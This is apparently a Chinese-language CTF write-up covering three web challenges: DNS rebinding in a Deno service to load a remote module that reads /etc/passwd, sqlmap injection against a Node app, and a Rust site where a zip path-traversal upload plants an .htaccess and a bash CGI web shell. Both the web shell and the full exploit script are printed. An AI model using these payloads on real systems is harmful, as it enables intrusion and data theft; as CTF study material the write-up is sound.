前言
早知道不做理论题了(),这个比赛的CTF有点逆天,本来不想复现的
题目
ezdeno
这道题提供了一个接口调用指定url的ts文件,可以调用执行,ssrf?这里似乎只能调用localhost?
WP的方法没接触过,来复现一下
1
| 使用 DNS Rebinding 技巧。多次调用 `7f000001.${hostHex}.rbndr.us:port/module/exp.ts` 可以让这个域名进入白名单后,DNS 重新绑定到真实主机并执行 Exp。
|
这里利用了DNS重绑定进行绕过
首次DNS解析:返回 7f000001.ac110001.rbndr.us → 127.0.0.1
认为这是”安全”的
第二次DNS解析:返回真正的目标IP 172.17.0.1(vps地址)
攻击生效:浏览器向172.17.0.1:8000 发送请求
我们简单开下vps试一下效果,ts文件内容如下
1 2 3
| export default function exp() { return Deno.readTextFileSync('/etc/passwd') }
|
这里转换是基于
1 2 3
| const hostHex = HOST.split('.') .map((x) => ('0' + parseInt(x).toString(16)).slice(-2)) .join('')
|
这里结合vps得到域名http://7f000001.xxxxxx.rbndr.us:5000/module/exp.ts
然后在invoke端口多传几遍,即可回显/etc/passwd
执行命令

一直对于DNS重绑定只是耳熟从未碰到,如今也是一窥真容了
这里有个网站https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg,可以看看
而对于DNS重绑定如果需要更好的理解,训练,可以看这篇文章https://xz.aliyun.com/news/7091
跟着搭一下会有不错效果
eznode
这道题需要信息收集看到一个manege接口
然后config接口看到mode=debug,然后flag被保护
这个时候直接/manege?mode=debug即可看到flag
或者找到manege接口之后直接arjun扫
再看config拿到flag1
-开启sql注入接口
直接sqlmap注入 --batch
确定sqlite,再dump即可看到flag2
信息收集?我去你的
rustpages
可能是强网磨灭了我扫目录的心情,我都没扫()
先扫目录看到
/api/swagger.json
该文档暴露所有接口信息,因此,找到/api/debug
这里两个参数一个路径一个文件名,直接读取flag1
flag2
根目录的flag2读取需要权限,与此同时,存在/readflag2
此时需要寻找rce
现在实现任意文件读之后,就可以读取源码了
这样审计源代码之后发现,密钥被硬编码,即泄露
现在可以伪造登录,调用zip上传等接口
这个地方,存在../,可以跨目录写入
再读Dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| FROM rust:slim
WORKDIR /app
COPY Cargo.toml Cargo.lock ./ RUN mkdir src && \ echo 'fn main() { println!("Placeholder"); }' > src/main.rs && \ cargo build --release
COPY src ./src/ RUN touch src/main.rs && \ cargo build --release
RUN apt-get update && \ apt-get install -y --no-install-recommends ca-certificates apache2 sudo && \ apt-get clean && \ rm -rf /var/lib/apt/lists/* COPY apache2.conf /etc/apache2/apache2.conf COPY 000-default.conf /etc/apache2/sites-available/000-default.conf RUN a2enmod proxy proxy_http cgi rewrite RUN a2dismod status COPY static/. /var/www/html/
COPY Dockerfile ./ COPY readflag2.c /readflag2.c RUN gcc -static -o /readflag2 /readflag2.c && \ rm /readflag2.c && \ chmod +s /readflag2
RUN chown -R www-data:www-data /var/www/html && \ chown -R www-data:www-data /app
CMD ["/bin/bash", "-c", "chmod 444 /flag1 && chmod 000 /flag2 && (apache2ctl -D FOREGROUND & sudo -u www-data ./target/release/rust-pages)"]
|
发现该服务
1
| 以 www-data 用户运行的,由 Apache 提供反向代理。Apache 启用了 CGI 模块,且 `/var/www/html` 目录是 www-data 用户可写的,因此可以将 `.htaccess` 和 CGI WebShell 脚本写入 `/var/www/html` 目录,从而实现 RCE,运行 `/readflag2` 以读取 flag2。
|
这是wp的超绝脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| manifest = { "webroot": "a/b/c/d", } io = BytesIO() exp = zipfile.ZipFile(io, "w") exp.writestr("manifest.json", json.dumps(manifest).encode("utf-8")) exp.writestr( "a/b/c/d/../../../../var/www/html/.htaccess", b"""Options ExecCGI AddHandler cgi-script .cgi """, ) exp.writestr( "a/b/c/d/../../../../var/www/html/shell.cgi", b"""#!/bin/bash echo "Content-type: text/html" echo "" echo "$QUERY_STRING" | sed "s/%20/ /g" | bash 2>&1 """, ) exp.close()
session.post( f"{url}/api/sites", files={"archive": ("exp.zip", io.getvalue(), "application/zip")}, ) flag2 = session.get(f"{url}/shell.cgi?/readflag2").text print("[+] Flag2:", flag2)
|
成功执行命令拿到flag2
其实题目还不错(),可以学到东西,任意文件传到RCE
结语
做的挺怪倒是,信息搜集不到位?知识面有欠缺?得练